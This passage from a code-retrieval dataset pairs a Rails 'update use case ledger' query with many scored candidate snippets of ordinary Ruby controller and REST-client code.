"text": "def new\n @post443 = Post443.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post443 }\n end\n end",
"title": ""
},
{
"docid": "58c5c8b6baf0bc9ba2342666961df933",
"score": "0.5844109",
"text": "def new\n @service_request = ServiceRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_request }\n end\n end",
"title": ""
},
{
"docid": "1ee7bbe0f29ab7c48fe1fe74f8ba06cf",
"score": "0.58433783",
"text": "def create\n @certificate = Certificate.new(certificate_params)\n\n if @certificate.save\n render :show, status: :created, location: @certificate\n else\n render json: @certificate.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "426e8936357637f9ccb608c1bafe40b0",
"score": "0.5843288",
"text": "def new\n @pref = Pref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pref }\n end\n end",
"title": ""
},
{
"docid": "6adb0d86f60c70425e05d6373ec45ec3",
"score": "0.5842241",
"text": "def new\n @signer = Signer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @signer }\n end\n end",
"title": ""
},
{
"docid": "5be4f84b2e4cafa886bb106111539de2",
"score": "0.5841787",
"text": "def new\n @cake = Cake.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cake }\n end\n end",
"title": ""
},
{
"docid": "5ec65a47785bb0c3972ac06f1cf6a804",
"score": "0.583474",
"text": "def new\n build_responder.call(new_resource, :action => :new)\n end",
"title": ""
},
{
"docid": "a8f4252e6dc701ac2653f5c0cde01d5a",
"score": "0.5834414",
"text": "def new\n @course_list = CourseList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course_list }\n end\n end",
"title": ""
},
{
"docid": "4f0bef714f3b886835f6e4735f86612b",
"score": "0.5829975",
"text": "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end",
"title": ""
},
{
"docid": "4f0bef714f3b886835f6e4735f86612b",
"score": "0.5829975",
"text": "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end",
"title": ""
},
{
"docid": "85392504c0944d5dda8689d6ed634614",
"score": "0.5829559",
"text": "def new\n @comic_request = ComicRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @comic_request }\n end\n end",
"title": ""
},
{
"docid": "fcdebda20ad37ccb85e08e3745857ad0",
"score": "0.58272094",
"text": "def new\n @domain = Domain.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @domain }\n end\n end",
"title": ""
},
{
"docid": "61359f54ad0cd4f0b51c83ecbf71ee64",
"score": "0.5827041",
"text": "def new\n @post256 = Post256.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post256 }\n end\n end",
"title": ""
},
{
"docid": "87716c9d5683ebccc9ef3fe6fa9cdf4b",
"score": "0.5826626",
"text": "def new\n @pcorp = Pcorp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pcorp }\n end\n end",
"title": ""
},
{
"docid": "eded361b57ce42edc6c46e2ae8484d81",
"score": "0.5826292",
"text": "def new\n @pages_privacy_policy = Pages::PrivacyPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pages_privacy_policy }\n end\n end",
"title": ""
}
] |
ee17e94088c8f9992bfae32bc015c093
|
PATCH/PUT /use_case_ledgers/1 PATCH/PUT /use_case_ledgers/1.json
|
[
{
"docid": "4b407a0bd166083d4a092cd4ea73154a",
"score": "0.60661185",
"text": "def update\n respond_to do |format|\n if @use_case_ledger.update(use_case_ledger_params)\n format.html { redirect_to @use_case_ledger, notice: 'Use case ledger was successfully updated.' }\n format.json { render :show, status: :ok, location: @use_case_ledger }\n else\n format.html { render :edit }\n format.json { render json: @use_case_ledger.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "a0b1d9bf0501cdc9aa6ad1cb2bc87d1e",
"score": "0.58274496",
"text": "def update\n @use_case = UseCase.find(params[:id])\n\n respond_to do |format|\n if @use_case.update_attributes(params[:use_case])\n format.html { redirect_to @use_case, notice: 'Use case was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @use_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2fb7b4c1e990872af0f68ca7692295be",
"score": "0.5810852",
"text": "def update\n respond_to do |format|\n # example_params = {\"lifted\"=>\"1\"}\n # p \"vt.Patch.update: Time.now=#{Time.now}\"\n # example_params['lifted_at'] = Time.now\n # example_params = {:def => 8}\n # example_params = {:lift_code => 8}\n # example_params['lifted_at'] = 'hi'\n # example_params['lift_code'] = 6\n # example_params[\"abc\"] = \"bye\"\n # example_params[\"abc\"] = \"bye\"\n p \"vt.Patch.update: example_params=#{example_params}\"\n # p \"vt.Patch.update: example_params[:lifted]=#{example_params[:lifted]}\"\n # p \"vt.Patch.update: example_params[:lifted_at]=#{example_params[:lifted_at]}\"\n # p \"vt.Patch.update: example_params[:abc]=#{example_params[:abc]}\"\n # @example.reload\n # By touching the record we force udpates even if the value is unchanged.\n # We need this because we have triggers on some fields e.g 'lifted'\n # that causes 'lifted_at' to get updated. We want 're-lifts' to force\n # 'lifted_at' to get updated, so we need \"redundant\" updates to actually\n # be performed. Probably not a good idea on a high-performance db, but\n # hopefully not too big a deal on this small db.\n # @example.touch\n if @example.update(example_params)\n # if @example.update(lift_code: 18, lift_score: 20)\n format.html { redirect_to @example, notice: 'Example was successfully updated.' }\n format.json { render :show, status: :ok, location: @example }\n else\n format.html { render :edit }\n format.json { render json: @example.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "089e9aa45a18835a0f6d70d5f3c7b97d",
"score": "0.57722014",
"text": "def update_case(case_id, body = {})\n body[:type_id] = body[:type_id].to_list if body[:type_id]\n body[:priority_id] = body[:priority_id].to_list if body[:type_id]\n post(\"update_case/#{case_id}\", body: body.to_json)\n end",
"title": ""
},
{
"docid": "882c8317370987b86425c0adbf5bfe8c",
"score": "0.5757537",
"text": "def update_aos_version(args = {}) \n put(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "c4bc87a23c91c4c9ded636aaf5480c59",
"score": "0.57462156",
"text": "def update\n @document_use_case = DocumentUseCase.find(params[:id])\n\n respond_to do |format|\n if @document_use_case.update_attributes(params[:document_use_case])\n format.html { redirect_to @document_use_case, notice: 'Document use case was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document_use_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4fbe2bb4554c75214ec612a847f458e",
"score": "0.57366264",
"text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "548ba1babbcdb78511c04a317bf5c979",
"score": "0.5724637",
"text": "def update\n json_update(factType,factType_params, FactType)\n end",
"title": ""
},
{
"docid": "370064dd3d95624c67f6e97eff580b94",
"score": "0.5664179",
"text": "def update\n\n prefix = params[:kase][:case_no_prefix]\n while prefix.size < 3 do prefix = '0' + prefix end\n suffix = params[:kase][:case_no]\n params[:kase][:case_no] = prefix + '-' + suffix\n @kase = Kase.find(params[:id])\n\n respond_to do |format|\n if @kase.update_attributes(params[:kase])\n save_case_note(@kase,params[:note])\n format.html { redirect_to(@kase, :notice => 'Case was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @kase.errors, :status => :unprocessable_entity }\n end\n end\n\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.5625902",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "42e4d81ce0f91ce996dcbc347df2958d",
"score": "0.55923724",
"text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end",
"title": ""
},
{
"docid": "a879205cf8d73a13ebf7c78d17bdad1b",
"score": "0.5549306",
"text": "def update\n respond_to do |format|\n if @use_case.update(use_case_params)\n format.html { redirect_to @use_case, notice: 'Use case was successfully updated.' }\n format.json { render :show, status: :ok, location: @use_case }\n else\n format.html { render :edit }\n format.json { render json: @use_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe34f93da0751ad55cc5052cfdd2366c",
"score": "0.55259335",
"text": "def update\n render json: Person.update(params[\"id\"], params[\"person\"])\n end",
"title": ""
},
{
"docid": "cfd51a1b4bb218b91e597579711ec41b",
"score": "0.55166346",
"text": "def update\n respond_to do |format|\n if @use_case.update(use_case_params)\n format.html { redirect_to project_use_case_path(project_id: @use_case.project.id, id: @use_case.id), notice: 'Use case was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @use_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "765d7164cee41701ef01fb20d8645882",
"score": "0.54878074",
"text": "def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"title": ""
},
{
"docid": "8526bda945752e27df3ffdba1b7efea0",
"score": "0.548042",
"text": "def update_mobile_carrier(args = {}) \n put(\"/mobile.json/#{args[:carrierId]}\", args)\nend",
"title": ""
},
{
"docid": "ea416b077fa0aa7e84ec3fe2ef9c3772",
"score": "0.546349",
"text": "def put\n request_method('PUT')\n end",
"title": ""
},
{
"docid": "0f8872308cd71e90aed963baf02fd23e",
"score": "0.5457522",
"text": "def update\n request = RestClient.put File.join(API_SERVER,\"rest-api/departments\"), { \n 'id' => params['id'], \n 'name' => params['department']['name'], \n 'description' => params['department']['description'] }.to_json, :content_type => :json, :accept => :json\n\n redirect_to :action => :index\n end",
"title": ""
},
{
"docid": "a47b638a1c210cdddaef4bcf5e213f6b",
"score": "0.5457036",
"text": "def update\n respond_to do |format|\n if @use_case.update(use_case_params)\n format.html { redirect_to use_cases_path, notice: \"Caso de Uso (#{@use_case.name}) cadastrado com sucesso!\" }\n format.json { render :show, status: :ok, location: @use_case }\n else\n format.html { render :edit }\n format.json { render json: @use_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2d5dc23a513bbc7e45aefe91ad790e49",
"score": "0.5451489",
"text": "def set_or_update_arrays_for_floorplan(args = {}) \n id = args['id']\n temp_path = \"/floorplans.json/{floorplanId}/arrays\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"floorplanId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "69391f982b070ce52372b82da9f7ec62",
"score": "0.54311645",
"text": "def update\n\t\t\n\n\t\t## awesome print the params\n\t\t##params_json = JSON.pretty_generate(params)\n\t\t##puts params_json\n\t\t#para = JSON.parse(params_json)\n\t\t#ap para\n\n\t\tif instance_variable_get(\"@#{get_resource_name}\").respond_to? :versions\n\t\t\t\n\t\t\tif ((instance_variable_get(\"@#{get_resource_name}\").verified_user_ids_changed?(get_model_params[:verified_by_user_ids])) || (instance_variable_get(\"@#{get_resource_name}\").rejected_user_ids_changed?(get_model_params[:rejected_by_user_ids])))\n\n\t\t\t\t## only thing which remains is seeing if it changed by anything other than the current user\n\t\t\t\t## because that is not allowed.\n\n\t\t\t\tv = Version.new(attributes_string: JSON.generate(instance_variable_get(\"@#{get_resource_name}\").attributes.merge(verified_by_user_ids: get_model_params[:verified_by_user_ids], rejected_by_user_ids: get_model_params[:rejected_by_user_ids])))\n\n\t\t\t\tv.assign_control_doc_number\n\n\t\t\t\t## check the password parameters.\n\t\t\t\t## this can be done at this stage.\n\t\t\t\t## if you are passing in a verified.\n\t\t\t\t## we can have that as an attribute accessor on version, all the model params.\n\t\t\t\t## so if you are saying yes to verified.\n\t\t\t\t## it can evaluate the incoming hash against a previous version.\n\t\t\t\t## did anything else change ?\n\t\t\t\t## that's pretty straightforward to implement.\n\t\t\t\t## like did a given set of parameters stay the same.\n\t\t\t\t## we can call them truth parameters.\n\t\t\t\t## which will \n\t\t\t\tunless v.tampering?(instance_variable_get(\"@#{get_resource_name}\").non_tamperables,instance_variable_get(\"@#{get_resource_name}\").versions[-1],get_model_params,instance_variable_get(\"@#{get_resource_name}\").class.name)\n\n\t\t\t\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"versions\").push(v)\n\n\t\t\t\tend\n\n\t\t\telse\n\n\t\t\t\tif instance_variable_get(\"@#{get_resource_name}\").verified_or_rejected?\n\t\t\t\t\t## so any further changes are considered to be accepted by the creator.\n\t\t\t\t\tv = Version.new(attributes_string: JSON.generate(get_model_params.merge(:verified_by_user_ids => [current_user.id.to_s], rejected_by_user_ids => [])))\n\n\t\t\t\t\tv.assign_control_doc_number\n\n\t\t\t\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"versions\").push(v)\n\t\t\t\tend\n\t\t\tend\t\t\n\t\telse\n\n\t\t\tt1 = Time.now.to_f\n\t\t\tassign_incoming_attributes\n\t\t\tt2 = Time.now.to_f\n\t\t\tputs \"assign attributes takes---------------------------------------------------------------->: #{(t2 - t1).in_milliseconds}\"\n\n\t\tend\n\n\t\t## so after find does not load the created_by_user\n\t\t## what about a current_user ?\n\t\tif current_user\n\t\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"created_by_user=\",current_user) \n\t\tend\n\t\t\n\t\n\t\t#puts \" ---------- ENDING HERE ---------------- \"\n\n\t\tt1 = Time.now\n\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"save\")\n\t\tset_errors_instance_variable(instance_variable_get(\"@#{get_resource_name}\"))\n\t\tt2 = Time.now\n\t\tputs \"save in update takes --------------------------------------------------------------------> #{(t2 - t1).in_milliseconds}\"\n\t\tset_alert_instance_variable(instance_variable_get(\"@#{get_resource_name}\"))\n\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"run_callbacks\",\"find\".to_sym)\n\n\t\t#puts \"instance variable get yields.\"\n\t\t#puts @organization.users_pending_approval.to_s\n\t\t#puts instance_variable_get(\"@#{get_resource_name}\").to_json\n\t\t## and this user does not have a current app id.\n\t\t## so its hanging, internally on the to_json call for the user.\n\t\t## that is failing internally from auth.\n\t\t## not from here.\n\t\t## its because you are calling to_json.\n\n\t\trespond_to do |format|\n\t\t\tformat.html do \n\t\t\t\tif @errors.full_messages.empty?\n\t\t\t\t\trender :show\n\t\t\t\telse\n\t\t\t\t\trender :edit\n\t\t\t\tend\n\t\t\tend\n\t\t\tformat.json do \n\t\t\t\tif @errors.full_messages.empty?\n\t\t\t\t\trender :json => {get_resource_name.to_sym => instance_variable_get(\"@#{get_resource_name}\")}.to_json, status: 204\n\t\t\t\telse\n\t\t\t\t\t#puts \"errors are:\"\n\t\t\t\t\t#puts @errors.full_messages.to_s\n\t\t\t\t\t#render json: {hello: \"world\"}, status: 200\n\t\t\t\t\t#puts \"got errors\"\n\t\t\t\t\t#exit(1)\t\n\t\t\t\t\trender :json => {get_resource_name.to_sym => instance_variable_get(\"@#{get_resource_name}\"), errors: @errors}.to_json, status: 404\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "94f441c12dce0916c2196964af253971",
"score": "0.5415448",
"text": "def update\n respond_to do |format|\n if @case_sensitive.update(case_sensitive_params)\n format.html { redirect_to @case_sensitive, notice: 'Case sensitive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @case_sensitive.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d805f1aaac08fe6713982b62f254bb6",
"score": "0.53997505",
"text": "def update\n if @usecase.update(usecase_params)\n render :show, status: :ok, location: @usecase\n else\n render json: @usecase.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5b23e8a69e0ddd520c1f949809610771",
"score": "0.5396597",
"text": "def update\n if @ledger.update(ledger_params)\n render json: @ledger\n else\n render json: @ledger.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "47abb2cddfa1a665018f717cdaaa4164",
"score": "0.53914756",
"text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end",
"title": ""
},
{
"docid": "1e90613cd539424b5c7d01b56eb6e9d5",
"score": "0.53876495",
"text": "def update\n @api.update_case( :case_id => @id, :title => @title )\n end",
"title": ""
},
{
"docid": "ad2fe1f03ed08efe586c231c72c60023",
"score": "0.538741",
"text": "def update\n feature = Feature.find(params[:id])\n\n feature.name = params[:name]\n feature.description = params[:description]\n feature.account_slugs = params[:account_slugs]\n feature.enabled_for_all = params[:enabled_for_all]\n\n feature.save!\n\n respond_to do |format|\n format.json {\n render json: {\n feature: feature\n }\n }\n end\n end",
"title": ""
},
{
"docid": "ba2ed9489ca76951805d198d89e6c566",
"score": "0.5378524",
"text": "def update\n recipe= Recipe.find(params[:id])\n respond_with recipe.update(rate:params[:rate])\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.53666496",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.53666496",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "ca9fd5f1d76d6a1a8f9b0a89c64e0aa5",
"score": "0.5366352",
"text": "def post_update(params)\n @client.post(\"#{path}/update\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"title": ""
},
{
"docid": "9cd66cb3cd6448141ddf281cf479f63d",
"score": "0.5361521",
"text": "def update_vcl\n\n if ARGV.length < 5\n puts \"Too few arguments\"\n exit\n end\n \n puts \"Working on updating VCL\"\n\n file = ARGV[0]\n service_id = ARGV[1]\n version_no = ARGV[2]\n vcl_name = ARGV[3]\n fastly_key = ARGV[4]\n url = 'https://api.fastly.com/service/' + service_id + '/version/' + version_no + '/vcl/' + vcl_name\n header = { 'Content-Type' => 'application/x-www-form-urlencoded', 'Fastly-key' => fastly_key } \n \n # encode as 'Content-Type' is 'application/x-www-form-urlencoded'\n payload = URI::encode(File.read(file))\n\n # Error handling\n begin\n res = RestClient.put url, payload, headers = header\n puts res.code\n if res.code == 200\n puts \"Updated VCL\"\n puts res.body\n return true\n end\n\n rescue RestClient::ExceptionWithResponse => error\n puts \"Error uploading VCL\"\n puts error.response\n return false\n end\nend",
"title": ""
},
{
"docid": "f7714ea233c76c185a578f95943242c1",
"score": "0.53569037",
"text": "def change_lead(lead, lead_hash)\n lead_hash = auth_token_hash.merge({:lead => lead_hash})\n put_with_body(\"/leads/#{lead}\", :body => lead_hash.to_json, :headers => {'Content-Type' => 'application/json'})\n end",
"title": ""
},
{
"docid": "beb9fead820cf1775fbf5b078f37c0b2",
"score": "0.53484917",
"text": "def update\n if recipe_params[:notes_only].to_i == 1\n @recipe = Recipe.update_notes(@recipe, recipe_params)\n else\n @recipe = Recipe.update_data(@recipe, recipe_params)\n #Split and assign tags and categories\n @recipe.tags_full_list=(params[:tags])\n @recipe.categories_full_list=(params[:categories])\n end\n respond_to do |format|\n if @recipe.save\n cleanup()\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8924de16d5b68934713e2dc8e2cbab54",
"score": "0.53327054",
"text": "def issue_update(issue, edit_opts = {})\n # always ensure we are logged in first\n ensure_logged_in\n\n\n json = {\n :update => {}\n }\n\n edit_opts[:fields].keys.each do |f|\n json[:update][f] = [ { :set => edit_opts[:fields][f] } ]\n end\n\n edit_opts[:customfields].andand.each_pair do |n,cf|\n json[:fields][n] = cf\n end\n\n if edit_opts[:commentText]\n json[:update][:comment] = [ {\n :add => {\n :body => edit_opts[:commentText]\n }\n } ]\n end\n\n # If we are updating priority, need to fetch its ID\n if edit_opts[:priority]\n priorities = json_get(\"rest/api/#{@api_version}/priority\")\n priority_name = nil\n priority_id = nil\n priorities.each do |p|\n if p[:name].match(Regexp.new(edit_opts[:priority], Regexp::IGNORECASE))\n @log.debug(\"Matched priority name #{p[:name]}\")\n priority_name = p[:name]\n priority_id = p[:id]\n break\n end\n end\n if priority_name.nil?\n @log.error \"Unable to find priority for #{edit_opts[:priority]}, ignoring!\"\n else\n json[:update][:priority] = [ { :set => {:id => priority_id} } ]\n end\n end\n\n # If we are updating components, need to fetch the possibilities\n if !edit_opts[:components].andand.empty?\n # create the container\n json[:update][:components] = []\n components = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/components\")\n\n # for each component, figure out if we are adding or removing and match to an ID\n edit_opts[:components].each do |current_component|\n operation = :add\n current_component.gsub!(/^\\+/, '')\n if current_component.match(/^-/)\n operation = :remove\n current_component.gsub!(/^-/, '')\n end\n\n found = false\n components.each do |c|\n if c[:name].match(Regexp.new(current_component, Regexp::IGNORECASE))\n @log.debug(\"Matched component #{operation} => #{c[:name]} for regex #{current_component}\")\n json[:update][:components] << { operation => { :id => c[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find component for #{current_component}, ignoring!\"\n end\n end\n end\n\n # If we are updating issuetype, need to fetch the possibilities\n if !edit_opts[:issuetype].andand.empty?\n found_issue_type = nil\n match = false\n issuetypes = json_get(\"rest/api/#{@api_version}/issue/createmeta?projectKeys=#{issue[:fields][:project][:key]}\")[:projects].first[:issuetypes]\n issuetypes.sort {|a,b| a[:id].to_i <=> b[:id].to_i }.each do |issuetype|\n @log.debug \"Found issuetype: #{issuetype[:name]}\"\n\n if issuetype[:name].match(Regexp.new(edit_opts[:issuetype] || \".\", Regexp::IGNORECASE))\n found_issue_type = issuetype\n match = true\n break\n end\n end\n\n if match\n json[:fields] = {} if json[:fields].nil?\n json[:fields][:issuetype] = { :id => found_issue_type[:id] }\n # XXX: Note that if the issue was a non-sub-task and we are\n # converting to a sub-task type, the call will fail (with a very\n # unhelpful error message \"Issue type is a sub-task but parent\n # issue key or id not specified.\"). This is because the REST API\n # does not support this. See:\n # https://jira.atlassian.com/browse/JRA-27893\n # Leaving this stuff in here anyways in case they ever fix it,\n # and also so we can re-parent existing subtasks, or switch\n # between two issue types where both are subtask or non-subtask.\n @log.debug(\"Matched issue type #{found_issue_type[:name]} with regex #{edit_opts[:issuetype]}\")\n if !edit_opts[:parent].nil?\n @log.debug(\"Including parent key #{edit_opts[:parent]}\")\n json[:fields][:parent] = { :key => edit_opts[:parent] }\n end\n else\n raise Atlassian::IllegalArgumentError.new(\"Unable to find matching issue type for regex #{edit_opts[:issuetype]}\")\n end\n end\n\n # If we are updating fixversions, need to fetch the possibilities\n if !edit_opts[:fixversions].andand.empty?\n # create the container\n # ARGH! the key \"fixVersions\" isn't listed in the editmeta API\n # call output...but it works (as of jira 5.2.11 anyways). and YES,\n # it is case senstiive. awesome.\n json[:update][:fixVersions] = []\n fixversions = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/versions\")\n\n # for each fixversion, figure out if we are adding or removing and match to an ID\n edit_opts[:fixversions].each do |current_fixversion|\n operation = :add\n current_fixversion.gsub!(/^\\+/, '')\n if current_fixversion.match(/^-/)\n operation = :remove\n current_fixversion.gsub!(/^-/, '')\n end\n\n found = false\n fixversions.each do |f|\n if f[:name].match(Regexp.new(current_fixversion, Regexp::IGNORECASE))\n @log.debug(\"Matched fixversion #{operation} => #{f[:name]} for regex #{current_fixversion}\")\n json[:update][:fixVersions] << { operation => { :id => f[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find fixversion for #{current_fixversion}, ignoring!\"\n end\n end\n end\n\n # If we are updating affectsversions, need to fetch the possibilities\n if !edit_opts[:affectsversions].andand.empty?\n # create the container\n json[:update][:versions] = []\n affectsversions = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/versions\")\n\n # for each affectsversion, figure out if we are adding or removing and match to an ID\n edit_opts[:affectsversions].each do |current_affectsversion|\n operation = :add\n current_affectsversion.gsub!(/^\\+/, '')\n if current_affectsversion.match(/^-/)\n operation = :remove\n current_affectsversion.gsub!(/^-/, '')\n end\n\n found = false\n affectsversions.each do |f|\n if f[:name].match(Regexp.new(current_affectsversion, Regexp::IGNORECASE))\n @log.debug(\"Matched affectsversion #{operation} => #{f[:name]} for regex #{current_affectsversion}\")\n json[:update][:versions] << { operation => { :id => f[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find affectsversion for #{current_affectsversion}, ignoring!\"\n end\n end\n end\n\n if edit_opts[:assignee]\n # get the list of assignable people for this issue\n assignees = json_get(\"rest/api/#{@api_version}/user/assignable/search?issueKey=#{issue[:key]}&maxResults=2&username=#{URI.escape(edit_opts[:assignee])}\")\n\n if (assignees.size != 1)\n @log.error \"Unable to find UNIQUE assignee for #{edit_opts[:assignee]}, ignoring (try a larger substring, check spelling?)\"\n @log.error \"Candidates: \" + assignees.map {|x| x[:name] }.join(\", \")\n else\n json[:update][:assignee] = [{ :set => { :name => assignees.first[:name] } } ]\n end\n end\n\n response = json_put(\"rest/api/#{@api_version}/issue/#{issue[:key]}\", json)\n @log.info \"Successfully updated issue #{issue[:key]}\"\n response\n end",
"title": ""
},
{
"docid": "8a1fcbdae3046e2102f533f681b61c66",
"score": "0.53301185",
"text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.patch(\n url, {contact: {name: \"Josh\", email: \"[email protected]\"}} )\nend",
"title": ""
},
{
"docid": "16714f614b8fe1809e96d03da962e6d9",
"score": "0.5328065",
"text": "def edit_client (client_id = nil, name = nil, contact = nil, email = nil, password = nil, msisdn = nil, timezone = nil, client_pays = nil, sms_margin = nil, opts={})\n query_param_keys = [:client_id,:name,:contact,:email,:password,:msisdn,:timezone,:client_pays,:sms_margin]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'client_id' => client_id,\n :'name' => name,\n :'contact' => contact,\n :'email' => email,\n :'password' => password,\n :'msisdn' => msisdn,\n :'timezone' => timezone,\n :'client_pays' => client_pays,\n :'sms_margin' => sms_margin\n \n }.merge(opts)\n\n #resource path\n path = \"/edit-client.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:PUT, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end",
"title": ""
},
{
"docid": "2572fb900123dab962d92dfd5cd31505",
"score": "0.5319021",
"text": "def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend",
"title": ""
},
{
"docid": "aab7a104a9a7f89d41fc8bb0778d8b3d",
"score": "0.53170216",
"text": "def update\n @use_case_group = UseCaseGroup.find(params[:id])\n\n respond_to do |format|\n if @use_case_group.update_attributes(params[:use_case_group])\n format.html { redirect_to @use_case_group, notice: 'Use case group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @use_case_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a565cef00d6874eb6d07052cd70dfab",
"score": "0.5315711",
"text": "def update(json_resource)\n jsonapi_request(:patch, \"#{@route}/#{json_resource['id']}\", \"data\"=> json_resource)\n end",
"title": ""
},
{
"docid": "0c1a09a9d20ee815b5c9f998eda70b44",
"score": "0.5310615",
"text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end",
"title": ""
},
{
"docid": "d7fde34919e148d9ba98d12774414805",
"score": "0.52909666",
"text": "def update\n respond_to do |format|\n if @case.update(case_params)\n format.html { redirect_to edit_case_case_step_path(@case.id) }\n format.json { render :show, status: :ok, location: @case }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1121b8fe100de7b7e220b09a42a9377b",
"score": "0.52877384",
"text": "def update\n @recipe = Recipe.find(params[:id])\n @recipe.update(recipe_params)\n render json: @recipe\n end",
"title": ""
},
{
"docid": "a86ecb08c2413ab1b7fabc6e864a45b3",
"score": "0.5280784",
"text": "def update\n @hall = Halls::UseCases::Update.new.call(id: params[:id], params: hall_params)\n\n if @hall.valid?\n render jsonapi: @hall\n else\n render jsonapi_errors: @hall.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "54cf670c2bac4f30ca2d7e950eb62eed",
"score": "0.5278602",
